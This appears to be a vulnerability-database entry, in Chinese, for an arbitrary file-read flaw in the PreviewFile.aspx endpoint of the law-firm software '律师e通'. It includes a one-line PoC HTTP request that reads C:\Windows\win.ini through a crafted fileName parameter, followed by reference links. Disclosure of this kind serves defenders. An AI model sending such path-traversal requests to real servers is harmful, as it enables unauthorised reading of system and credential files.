Description
律师e通是一款专业的律师事务所管理软件。该系统的 /qiyuesuo/PreviewFile.aspx 接口存在文件读取漏洞，攻击者可通过构造恶意 fileName 参数读取服务器上的任意文件。
律师e通 /qiyuesuo/PreviewFile.aspx 文件读取漏洞
PoC
GET /qiyuesuo/PreviewFile.aspx?fileName=C:\Windows\win.ini HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://avd.aliyun.com/detail?id=AVD-2021-907340
https://cn.t00ls.com/articles-59617.html
https://ddpoc.com/DVB-2024-7985.html
https://www.qiyuesuo.com/more/security/servicepack
https://github.com/YuSec2021/GeneralPOC/blob/main/%E5%A5%91%E7%BA%A6%E9%94%81%E7%94%B5%E5%AD%90%E7%AD%BE%E7%AB%A0%E7%B3%BB%E7%BB%9FRCE.md
https://www.cnblogs.com/cwkiller/p/19000543
https://stack.chaitin.com/vuldb/detail/1eceadb5-c17a-4d5e-a958-7496dbcf9d72
https://www.freebuf.com/articles/vuls/424773.html